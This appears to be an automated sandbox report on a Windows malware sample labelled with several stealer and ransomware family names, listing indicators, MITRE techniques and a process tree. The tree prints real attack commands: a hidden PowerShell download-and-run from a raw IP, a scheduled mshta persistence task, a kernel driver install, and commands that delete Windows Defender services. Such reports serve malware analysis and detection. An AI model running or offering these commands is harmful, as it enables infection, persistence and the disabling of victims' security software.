Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	c79f7c44bc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bell_Setup16.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	u75a1_003.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	22.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
2612	timeout.exe
1364	timeout.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
3056	taskkill.exe
2600	taskkill.exe
796	taskkill.exe
2164	taskkill.exe
1772	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000_Classes\Local Settings	firefox.exe

Modifies system certificate store 2 TTPs 4 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	futors.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	futors.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	futors.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	futors.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2468	schtasks.exe
1388	schtasks.exe
2608	schtasks.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1084	22.exe

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
1712	powershell.exe
1712	powershell.exe
1712	powershell.exe
2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
2652	rapes.exe
1924	72befb47b5.exe
1972	a15cbf8e3b.exe
1388	70cff591f9.exe
2456	Bell_Setup16.tmp
2456	Bell_Setup16.tmp
1728	Rm3cVPI.exe
1728	Rm3cVPI.exe
1728	Rm3cVPI.exe
1728	Rm3cVPI.exe
1708	Passwords.com
1708	Passwords.com
1708	Passwords.com
1708	Passwords.com
1708	Passwords.com
1708	Passwords.com
1708	Passwords.com
2916	133e8807ac.exe
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
2196	TempIVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE
848	powershell.exe
1084	powershell.exe
2628	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
572	483d2fa8a0d53818306efeb32d3.exe
1592	6670879e0c.exe
2856	b4d5361804.exe
2060	52a22fd820.exe
2060	52a22fd820.exe
2060	52a22fd820.exe
2060	52a22fd820.exe
2060	52a22fd820.exe
2856	b4d5361804.exe
2856	b4d5361804.exe
2856	b4d5361804.exe
2856	b4d5361804.exe
572	f96f54807c.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
3712	c4f793a08b.exe
3712	c4f793a08b.exe
3712	c4f793a08b.exe
3712	c4f793a08b.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
476	Process not Found
476	Process not Found

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	924	tasklist.exe
Token: SeDebugPrivilege	1484	tasklist.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	848	powershell.exe
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	3056	taskkill.exe
Token: SeDebugPrivilege	2600	taskkill.exe
Token: SeDebugPrivilege	796	taskkill.exe
Token: SeDebugPrivilege	2164	taskkill.exe
Token: SeDebugPrivilege	1772	taskkill.exe
Token: SeDebugPrivilege	1948	firefox.exe
Token: SeDebugPrivilege	1948	firefox.exe
Token: SeDebugPrivilege	3712	c4f793a08b.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
2036	amnew.exe
2456	Bell_Setup16.tmp
1708	Passwords.com
1708	Passwords.com
1708	Passwords.com
2680	07f8d95d4d.exe
2680	07f8d95d4d.exe
2680	07f8d95d4d.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1948	firefox.exe
1948	firefox.exe
1948	firefox.exe
1948	firefox.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe

Suspicious use of SendNotifyMessage 22 IoCs

pid	Process
1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1708	Passwords.com
1708	Passwords.com
1708	Passwords.com
2680	07f8d95d4d.exe
2680	07f8d95d4d.exe
2680	07f8d95d4d.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1948	firefox.exe
1948	firefox.exe
1948	firefox.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe
1632	c79f7c44bc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1720 wrote to memory of 3060	1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	30
PID 1720 wrote to memory of 3060	1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	30
PID 1720 wrote to memory of 3060	1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	30
PID 1720 wrote to memory of 3060	1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	30
PID 1720 wrote to memory of 2104	1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 1720 wrote to memory of 2104	1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 1720 wrote to memory of 2104	1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 1720 wrote to memory of 2104	1720	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 3060 wrote to memory of 2468	3060	cmd.exe	33
PID 3060 wrote to memory of 2468	3060	cmd.exe	33
PID 3060 wrote to memory of 2468	3060	cmd.exe	33
PID 3060 wrote to memory of 2468	3060	cmd.exe	33
PID 2104 wrote to memory of 1712	2104	mshta.exe	34
PID 2104 wrote to memory of 1712	2104	mshta.exe	34
PID 2104 wrote to memory of 1712	2104	mshta.exe	34
PID 2104 wrote to memory of 1712	2104	mshta.exe	34
PID 1712 wrote to memory of 2808	1712	powershell.exe	37
PID 1712 wrote to memory of 2808	1712	powershell.exe	37
PID 1712 wrote to memory of 2808	1712	powershell.exe	37
PID 1712 wrote to memory of 2808	1712	powershell.exe	37
PID 2808 wrote to memory of 2652	2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE	38
PID 2808 wrote to memory of 2652	2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE	38
PID 2808 wrote to memory of 2652	2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE	38
PID 2808 wrote to memory of 2652	2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE	38
PID 2652 wrote to memory of 1924	2652	rapes.exe	40
PID 2652 wrote to memory of 1924	2652	rapes.exe	40
PID 2652 wrote to memory of 1924	2652	rapes.exe	40
PID 2652 wrote to memory of 1924	2652	rapes.exe	40
PID 2652 wrote to memory of 1096	2652	rapes.exe	41
PID 2652 wrote to memory of 1096	2652	rapes.exe	41
PID 2652 wrote to memory of 1096	2652	rapes.exe	41
PID 2652 wrote to memory of 1096	2652	rapes.exe	41
PID 1096 wrote to memory of 2108	1096	apple.exe	42
PID 1096 wrote to memory of 2108	1096	apple.exe	42
PID 1096 wrote to memory of 2108	1096	apple.exe	42
PID 1096 wrote to memory of 2108	1096	apple.exe	42
PID 2108 wrote to memory of 928	2108	22.exe	43
PID 2108 wrote to memory of 928	2108	22.exe	43
PID 2108 wrote to memory of 928	2108	22.exe	43
PID 2108 wrote to memory of 928	2108	22.exe	43
PID 928 wrote to memory of 1084	928	cmd.exe	45
PID 928 wrote to memory of 1084	928	cmd.exe	45
PID 928 wrote to memory of 1084	928	cmd.exe	45
PID 928 wrote to memory of 1084	928	cmd.exe	45
PID 1084 wrote to memory of 1956	1084	22.exe	46
PID 1084 wrote to memory of 1956	1084	22.exe	46
PID 1084 wrote to memory of 1956	1084	22.exe	46
PID 1084 wrote to memory of 1956	1084	22.exe	46
PID 1956 wrote to memory of 900	1956	cmd.exe	48
PID 1956 wrote to memory of 900	1956	cmd.exe	48
PID 1956 wrote to memory of 900	1956	cmd.exe	48
PID 1956 wrote to memory of 1848	1956	cmd.exe	49
PID 1956 wrote to memory of 1848	1956	cmd.exe	49
PID 1956 wrote to memory of 1848	1956	cmd.exe	49
PID 1956 wrote to memory of 1364	1956	cmd.exe	50
PID 1956 wrote to memory of 1364	1956	cmd.exe	50
PID 1956 wrote to memory of 1364	1956	cmd.exe	50
PID 1956 wrote to memory of 568	1956	cmd.exe	51
PID 1956 wrote to memory of 568	1956	cmd.exe	51
PID 1956 wrote to memory of 568	1956	cmd.exe	51
PID 1956 wrote to memory of 1532	1956	cmd.exe	52
PID 1956 wrote to memory of 1532	1956	cmd.exe	52
PID 1956 wrote to memory of 1532	1956	cmd.exe	52
PID 1956 wrote to memory of 1044	1956	cmd.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1720
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn W2DblmafnJZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\HzRJ0TSGs.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn W2DblmafnJZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\HzRJ0TSGs.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2468
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\HzRJ0TSGs.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'DJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1712
  - - C:\Users\Admin\AppData\Local\TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
      "C:\Users\Admin\AppData\Local\TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2808
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2652
      - C:\Users\Admin\AppData\Local\Temp\10362200101\72befb47b5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10362200101\72befb47b5.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:1924
      - C:\Users\Admin\AppData\Local\Temp\10367460101\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10367460101\apple.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1096
        
        C:\Users\Admin\AppData\Local\Temp\22.exe
        
        "C:\Users\Admin\AppData\Local\Temp\22.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2108
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\167D.tmp\167E.tmp\167F.bat C:\Users\Admin\AppData\Local\Temp\22.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:928
        
        C:\Users\Admin\AppData\Local\Temp\22.exe
        
        "C:\Users\Admin\AppData\Local\Temp\22.exe" go
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: CmdExeWriteProcessMemorySpam
        Suspicious use of WriteProcessMemory
        
        PID:1084
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\16DB.tmp\16DC.tmp\16DD.bat C:\Users\Admin\AppData\Local\Temp\22.exe go"
        10⤵
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:1956
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        11⤵
        Launches sc.exe
        
        PID:900
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:1848
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:1364
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:568
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:1532
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1044
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:712
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:2064
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:2660
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        11⤵
        
        PID:1892
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:2992
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:2336
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        11⤵
        
        PID:1544
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:1896
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:988
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        11⤵
        
        PID:2228
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        11⤵
        Launches sc.exe
        
        PID:1480
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        11⤵
        Launches sc.exe
        
        PID:1496
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        11⤵
        
        PID:892
        
        C:\Windows\system32\sc.exe
